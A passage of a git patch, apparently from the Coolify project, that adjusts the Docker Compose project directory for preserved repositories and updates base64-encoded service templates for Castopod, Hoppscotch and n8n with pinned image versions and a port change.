3 +- templates/service-templates-latest.json | 8 +-- templates/service-templates.json | 8 +-- ...posePreserveRepositoryStartCommandTest.php | 49 +++++++++++++++++++ 4 files changed, 59 insertions(+), 9 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index fcd619fd4..f84cdceb9 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -573,7 +573,8 @@ private function deploy_docker_compose_buildpack() if (data_get($this->application, 'docker_compose_custom_start_command')) { $this->docker_compose_custom_start_command = $this->application->docker_compose_custom_start_command; if (! str($this->docker_compose_custom_start_command)->contains('--project-directory')) { - $this->docker_compose_custom_start_command = str($this->docker_compose_custom_start_command)->replaceFirst('compose', 'compose --project-directory '.$this->workdir)->value(); + $projectDir = $this->preserveRepository ? $this->application->workdir() : $this->workdir; + $this->docker_compose_custom_start_command = str($this->docker_compose_custom_start_command)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value(); } } if (data_get($this->application, 'docker_compose_custom_build_command')) { diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index 2ea3ce8c5..bc05073d1 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -489,7 +489,7 @@ "castopod": { "documentation": "https://docs.castopod.org/main/en/?utm_source=coolify.io", "slogan": "Castopod is a free & open-source hosting platform made for podcasters who want engage and interact with their audience.", - "compose": "c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NBU1RPUE9EXzgwMDAKICAgICAgLSBNWVNRTF9EQVRBQkFTRT1jYXN0b3BvZAogICAgICAtIE1ZU1FMX1VTRVI9JFNFUlZJQ0VfVVNFUl9NWVNRTAogICAgICAtIE1ZU1FMX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gJ0NQX0RJU0FCTEVfSFRUUFM9JHtDUF9ESVNBQkxFX0hUVFBTOi0xfScKICAgICAgLSBDUF9CQVNFVVJMPSRTRVJWSUNFX1VSTF9DQVNUT1BPRAogICAgICAtIENQX0FOQUxZVElDU19TQUxUPSRTRVJWSUNFX1JFQUxCQVNFNjRfNjRfU0FMVAogICAgICAtIENQX0NBQ0hFX0hBTkRMRVI9cmVkaXMKICAgICAgLSBDUF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gQ1BfUkVESVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo4MDAwL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgbWFyaWFkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIG1hcmlhZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6MTEuMicKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWRiOi92YXIvbGliL215c3FsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTVlTUUxfUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1ZU1FMX0RBVEFCQVNFPWNhc3RvcG9kCiAgICAgIC0gTVlTUUxfVVNFUj0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gTVlTUUxfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LjItYWxwaW5lJwogICAgY29tbWFuZDogJy0tcmVxdWlyZXBhc3MgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMnCiAgICB2b2x1bWVzOgogICAgICAtICdjYXN0b3BvZC1jYWNoZTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIC1hICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIHBpbmcgfCBncmVwIFBPTkcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOjEuMTUuNCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NBU1RPUE9EXzgwODAKICAgICAgLSBNWVNRTF9EQVRBQkFTRT1jYXN0b3BvZAogICAgICAtIE1ZU1FMX1VTRVI9JFNFUlZJQ0VfVVNFUl9NWVNRTAogICAgICAtIE1ZU1FMX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gJ0NQX0RJU0FCTEVfSFRUUFM9JHtDUF9ESVNBQkxFX0hUVFBTOi0xfScKICAgICAgLSBDUF9CQVNFVVJMPSRTRVJWSUNFX1VSTF9DQVNUT1BPRAogICAgICAtIENQX0FOQUxZVElDU19TQUxUPSRTRVJWSUNFX1JFQUxCQVNFNjRfNjRfU0FMVAogICAgICAtIENQX0NBQ0hFX0hBTkRMRVI9cmVkaXMKICAgICAgLSBDUF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gQ1BfUkVESVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo4MDgwL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgbWFyaWFkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIG1hcmlhZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6MTEuMicKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWRiOi92YXIvbGliL215c3FsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTVlTUUxfUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1ZU1FMX0RBVEFCQVNFPWNhc3RvcG9kCiAgICAgIC0gTVlTUUxfVVNFUj0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gTVlTUUxfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LjItYWxwaW5lJwogICAgY29tbWFuZDogJy0tcmVxdWlyZXBhc3MgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMnCiAgICB2b2x1bWVzOgogICAgICAtICdjYXN0b3BvZC1jYWNoZTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIC1hICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIHBpbmcgfCBncmVwIFBPTkcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "podcast", "media", @@ -503,7 +503,7 @@ "category": "media", "logo": "svgs/castopod.svg", "minversion": "0.0.0", - "port": "8000" + "port": "8080" }, "changedetection": { "documentation": "https://github.com/dgtlmoon/changedetection.io/?utm_source=coolify.io", @@ -2030,7 +2030,7 @@ "hoppscotch": { "documentation": "https://docs.hoppscotch.io?utm_source=coolify.io", "slogan": "The Open Source API Development Platform", - "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0hPUFBTQ09UQ0hfODAKICAgICAgLSAnVklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTPSR7VklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTOi1HT09HTEUsR0lUSFVCLE1JQ1JPU09GVCxFTUFJTH0nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREJ9JwogICAgICAtICdEQVRBX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfREFUQUVOQ1JZUFRJT05LRVl9JwogICAgICAtICdXSElURUxJU1RFRF9PUklHSU5TPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYmFja2VuZCwke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9LCR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYWRtaW4nCiAgICAgIC0gJ01BSUxFUl9VU0VfQ1VTVE9NX0NPTkZJR1M9JHtNQUlMRVJfVVNFX0NVU1RPTV9DT05GSUdTOi10cnVlfScKICAgICAgLSAnVklURV9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9JwogICAgICAtICdWSVRFX1NIT1JUQ09ERV9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9JwogICAgICAtICdWSVRFX0FETUlOX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9L2FkbWluJwogICAgICAtICdWSVRFX0JBQ0tFTkRfR1FMX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9L2JhY2tlbmQvZ3JhcGhxbCcKICAgICAgLSAnVklURV9CQUNLRU5EX1dTX1VSTD13c3M6Ly8ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kL2dyYXBocWwnCiAgICAgIC0gJ1ZJVEVfQkFDS0VORF9BUElfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYmFja2VuZC92MScKICAgICAgLSAnVklURV9BUFBfVE9TX0xJTks9aHR0cHM6Ly9kb2NzLmhvcHBzY290Y2guaW8vc3VwcG9ydC90ZXJtcycKICAgICAgLSAnVklURV9BUFBfUFJJVkFDWV9QT0xJQ1lfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3ByaXZhY3knCiAgICAgIC0gRU5BQkxFX1NVQlBBVEhfQkFTRURfQUNDRVNTPXRydWUKICAgIGRlcGVuZHNfb246CiAgICAgIGRiLW1pZ3JhdGlvbjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfY29tcGxldGVkX3N1Y2Nlc3NmdWxseQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBob3Bwc2NvdGNoLWRiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotaG9wcHNjb3RjaH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLWggbG9jYWxob3N0IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxMAogIGRiLW1pZ3JhdGlvbjoKICAgIGV4Y2x1ZGVfZnJvbV9oYzogdHJ1ZQogICAgaW1hZ2U6ICdob3Bwc2NvdGNoL2hvcHBzY290Y2g6bGF0ZXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", + "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSE9QUFNDT1RDSF84MAogICAgICAtICdWSVRFX0FMTE9XRURfQVVUSF9QUk9WSURFUlM9JHtWSVRFX0FMTE9XRURfQVVUSF9QUk9WSURFUlM6LUdPT0dMRSxHSVRIVUIsTUlDUk9TT0ZULEVNQUlMfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBob3Bwc2NvdGNoLWRiOjU0MzIvJHtQT1NUR1JFU19EQn0nCiAgICAgIC0gJ0RBVEFfRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF9EQVRBRU5DUllQVElPTktFWX0nCiAgICAgIC0gJ1dISVRFTElTVEVEX09SSUdJTlM9JHtTRVJWSUNFX1VSTF9IT1BQU0NPVENIfS9iYWNrZW5kLCR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0sJHtTRVJWSUNFX1VSTF9IT1BQU0NPVENIfS9hZG1pbicKICAgICAgLSAnTUFJTEVSX1VTRV9DVVNUT01fQ09ORklHUz0ke01BSUxFUl9VU0VfQ1VTVE9NX0NPTkZJR1M6LXRydWV9JwogICAgICAtICdWSVRFX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfU0hPUlRDT0RFX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfQURNSU5fVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYWRtaW4nCiAgICAgIC0gJ1ZJVEVfQkFDS0VORF9HUUxfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYmFja2VuZC9ncmFwaHFsJwogICAgICAtICdWSVRFX0JBQ0tFTkRfV1NfVVJMPXdzczovLyR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2JhY2tlbmQvZ3JhcGhxbCcKICAgICAgLSAnVklURV9CQUNLRU5EX0FQSV9VUkw9JHtTRVJWSUNFX1VSTF9IT1BQU0NPVENIfS9iYWNrZW5kL3YxJwogICAgICAtICdWSVRFX0FQUF9UT1NfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3Rlcm1zJwogICAgICAtICdWSVRFX0FQUF9QUklWQUNZX1BPTElDWV9MSU5LPWh0dHBzOi8vZG9jcy5ob3Bwc2NvdGNoLmlvL3N1cHBvcnQvcHJpdmFjeScKICAgICAgLSBFTkFCTEVfU1VCUEFUSF9CQVNFRF9BQ0NFU1M9dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgZGItbWlncmF0aW9uOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9jb21wbGV0ZWRfc3VjY2Vzc2Z1bGx5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIGhvcHBzY290Y2gtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBkYi1taWdyYXRpb246CiAgICBleGNsdWRlX2Zyb21faGM6IHRydWUKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", "tags": [ "api", "development", @@ -2884,7 +2884,7 @@ "n8n-with-postgres-and-worker": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool with queue mode and workers.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtIE9GRkxPQURfTUFOVUFMX0VYRUNVVElPTlNfVE9fV09SS0VSUz10cnVlCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG44bi13b3JrZXI6CiAgICBpbWFnZTogJ244bmlvL244bjoyLjEwLjInCiAgICBjb21tYW5kOiB3b3JrZXIKICAgIGVudmlyb25tZW50OgogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotVVRDfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBFWEVDVVRJT05TX01PREU9cXVldWUKICAgICAgLSBRVUVVRV9CVUxMX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBRVUVVRV9IRUFMVEhfQ0hFQ0tfQUNUSVZFPXRydWUKICAgICAgLSAnTjhOX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9FTkNSWVBUSU9OfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUj0ke044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUjotdHJ1ZX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE